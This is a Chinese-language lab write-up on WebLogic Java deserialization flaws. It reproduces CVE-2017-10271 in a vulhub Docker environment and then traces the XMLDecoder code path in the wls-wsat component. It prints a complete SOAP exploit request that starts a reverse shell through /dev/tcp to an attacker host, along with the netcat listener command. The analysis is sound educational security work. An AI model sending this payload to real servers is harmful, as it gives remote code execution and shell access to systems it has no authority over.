weblogic反序列化漏洞的初级理解(一)

啥是weblogic

WebLogic是Oracle发布的一个基于JAVAEE架构的web中间件
大概可以理解为tomcat pro max🙃

Weblogic反序列化漏洞的几个利用阶段
从利用方式来看,分为三类

1.直接通过T3协议发送恶意反序列化对象(CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883)
2.利用T3协议配合RMP或ND接口反向发送反序列化数据(CVE2017-3248、CVE2018-2628、CVE2018-2893、CVE2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645)还有利用IIOP协议的CVE-2020-2551
3.通过 javabean XML方式发送反序列化数据。(CVE2017-3506->CVE-2017-10271->CVE2019-2725->CVE-2019-2729)

漏洞复现
由于漏洞众多，搭建环境比较复杂，还是先利用vulhub中的CVE-2017-10271、CVE-2018-2628、CVE-2018-2894、CVE-2020-14882几个标志性的漏洞环境进行复现。

先从最古老的开始

CVE-2017-10271

影响范围：10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0

docker开启环境

root@kali:/vulhub/weblogic/CVE-2017-10271# docker-compose up -d

远古版本，环境好大先忍一下

等待的过程中先理解一下漏洞原理以及vulhub给出的poc

该漏洞主要针对weblogic的WLS-WebServices组件
属于上述反序列化漏洞利用的第三类
大致的原理通过传输javabean XML方式构造恶意XML数据造成代码执行

结合poc来看

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>
                        </void>
                    </array>
                    <void method="start" />
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body />
</soapenv:Envelope>

大概是向网站的/wls-wsat/CoordinatorPortType路径传入xml数据，这串xml目的是反弹shell

OK，环境起好开始复现

访问localhost:7001/wls-wsat/CoordinatorPortType，显示wls-wsat组件的一些配置信息，表示服务已经开启

本地监听6666端口

root@kali:/# nc -l -p 6666

bp抓包重放构造好的数据包，注意字段Content-Type改为text/xml

成功反弹shell，服务器执行了我们传入的
/bin/bash -c bash -i >& /dev/tcp/ip/port 0>&1

漏洞原理

漏洞利用的过程很简单
有两个疑问点

1.wls-wsat组件如何处理xml数据
2.造成反序列化漏洞的关键点在哪

尝试传入任意命令

在响应中看到了返回的xml数据以及整个处理过程的调用栈


可以看到处理过程最后调用了java.beans.XMLDecoder方法，该方法用于将XML数据反序列化为java对象，这里造成了无回显的命令执行

根据vulhub提供的技术文档、参考大佬的分析过程可以得知大致的处理过程

1.根据POC，当我们传入<soapenv>标签包裹的数据时，wls-wsat使用了weblogic自带的webservices处理程序来处理SOAP请求
2.该处理程序首先调用weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法获取到我们传入的xml数据为var1，定义var2为处理过的var1数据
3.通过var2.get()方法中的WorkAreaConstants.WORK_AREA_HEADER参数获取<work:WorkContext >标签中的内容
4.当var3不为空时，执行readHeaderOld(var3);

5.在readHeaderOld中，实例化了WorkContextXmlInputAdapter，此时方法内的var4是java标签里的内容

6.在实例化WorkContextXmlInputAdapter中，直接调用xmlDecoder反序列化传入的xml数据，也就是处理过的var4

从整个过程中可以发现，传入的xml数据从始至终都没有受到任何过滤，wls-wsat的类似剥洋葱的处理方式一层一层揭开最后直接反序列化，这样显然是很不安全滴。